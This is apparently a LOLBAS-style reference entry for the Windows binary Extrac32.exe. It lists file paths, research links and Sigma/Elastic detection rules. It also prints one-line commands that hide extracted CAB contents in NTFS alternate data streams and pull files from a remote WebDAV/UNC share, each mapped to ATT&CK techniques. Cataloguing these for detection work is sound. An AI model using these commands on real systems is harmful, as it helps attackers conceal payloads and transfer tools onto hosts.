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Extract to ADS, copy or overwrite a file with Extrac32.exe

### Paths:

C:\Windows\System32\extrac32.exe  
C:\Windows\SysWOW64\extrac32.exe

### Resources:

- <https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/>
- <https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f>
- <https://twitter.com/egre55/status/985994639202283520>

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### Detections:

- Elastic: [defense\\_evasion\\_misc\\_lolbin\\_connecting\\_to\\_the\\_internet.toml](#)
- Sigma: [proc\\_creation\\_win\\_lolbin\\_extrac32.yml](#)
- Sigma: [proc\\_creation\\_win\\_lolbin\\_extrac32\\_ads.yml](#)

## Alternate data streams

1. Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.

```
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
```

**Use case:** Extract data from cab file and hide it in an alternate data stream.  
**Privileges required:** User  
**Operating systems:** Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** [T1564.004: NTFS File Attributes](#)  
**Tags:** Type: Compression

2. Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.

```
extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
```

**Use case:** Extract data from cab file and hide it in an alternate data stream.  
**Privileges required:** User  
**Operating systems:** Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** [T1564.004: NTFS File Attributes](#)  
**Tags:** Type: Compression

## Download

Copy the source file to the destavation file and overwrite it.

```
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
```

**Use case:** Download file from UNC/WEBDav  
**Privileges required:** User  
**Operating systems:** Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** [T1105: Ingress Tool Transfer](#)

## Copy

Command for copying calc.exe to another folder

```
extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe
```

<b>Use case:</b>	Copy file
<b>Privileges required:</b>	User
<b>Operating systems:</b>	Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
<b>ATT&amp;CK® technique:</b>	<a href="#">T1105: Ingress Tool Transfer</a>